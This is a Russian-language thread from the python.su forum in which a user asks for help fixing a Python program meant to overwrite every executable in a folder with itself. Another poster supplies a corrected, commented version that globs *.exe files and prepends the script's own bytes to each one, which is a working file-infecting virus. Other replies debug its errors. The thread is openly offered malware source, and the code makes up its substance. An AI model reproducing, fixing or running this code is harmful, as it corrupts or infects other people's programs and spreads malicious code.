Форум сайта python.su
0
Суть программы: Должна заменять все экзешники в папке на себя.
К сожалению, неправильно работает цикл for. Хоть убейте не вижу ошибки.
#!/usr/bin/env python # coding: utf-8 import sys import os import shutil import random virPath = os.path.split(sys.argv[0]); names = os.listdir('.'); proverka = "proverka"; fvir = open(sys.argv[0], 'rb'); virData = fvir.read(19456); for name in names: namePair = os.path.splitext(name); os.rename(name, "virus.exe"); fprog = open("virus.exe", 'rb'); progData = fprog.read(); fnew = open(name, 'wb'); fnew.write(virData); fnew.close(); fprog.close(); os.remove("virus.exe"); fvir.close();
Отредактировано FishHook (Янв. 21, 2016 17:00:37)
Прикреплённый файлы:
123.png (1,6 KБ)
Офлайн
0
Пробел упустил
Офлайн
568
Ваш цикл вообще ничего не делает, он бессмыслен.
Если есть цикл, в нем должно происходить какое-то действие, верно?
Вы в цикле N раз присваиваете переменной значение.
То есть как то так
namePair = os.path.splitext("autoexec.bat") namePair = os.path.splitext("hosts.ini"); namePair = os.path.splitext("command.com"); namePair = os.path.splitext("porno");
Офлайн
0
FishHook
FishHookВсё верно, лишняя строчка, учту. Сейчас как я понял из ваших слов в цикле участвует только эта строчка
Ваш цикл вообще ничего не делает, он бессмыслен. Если есть цикл, в нем должно происходить какое-то действие, верно?Вы в цикле N раз присваиваете переменной значение. То есть как то так
Офлайн
568
По какому учебнику вы изучаете питон?
Офлайн
0
FishHookСейчас пока ищу только интересующую информацию, без учебника, т.к. срок для написания именно этой программы ничтожно мал. Учебник мне сейчас конечно понадобится, может Вы что то посоветуете?
По какому учебнику вы изучаете питон?
Офлайн
0
#!/usr/bin/python3.4 import os, sys, glob path = glob.glob('*.exe')#Найти файлы с расширением <.exe> fvir = open(sys.argv[0], 'rb')#Открыть самого себя virData = fvir.read(19835)#считать в память for name in path: #Не зарожать самого себя if name not in 'virus.py': os.rename(name, name + 'tmp')#Переименовать файлы fprog = open(name + 'tmp', 'rb')#Открыть файлы progData = fprog.read()#Прочитать файлы chestnie = open(name, 'wb')#Открыть,стереть файлы chestnie.write(virData + progData)#Записать в начало fprog.close()#Закрыть chestnie.close()#Закрыть os.remove(name + 'tmp')#Удалить временные файлы print('it is virus')#Это вирус
Отредактировано google_ (Янв. 21, 2016 19:37:45)
Офлайн
0
google_пробовал использовать это , выдавало ошибку что-то на подобие :
os.rename(name, name + ‘tmp’)
Офлайн
0
HiroСтранно, у меня работает, только что проверил.
пробовал использовать это , выдавало ошибку что-то на подобие :
не найден файл *.exetmp то есть tmp он добавляет после расширения файла.
Отредактировано google_ (Янв. 21, 2016 20:07:50)
Офлайн
0
google_Хорошо , попробую уже только завтра. Пожалуйста , если не составит трудности , зайдите на всякий случай в эту тему завтра. Вдруг появятся какие то вопросы.
Офлайн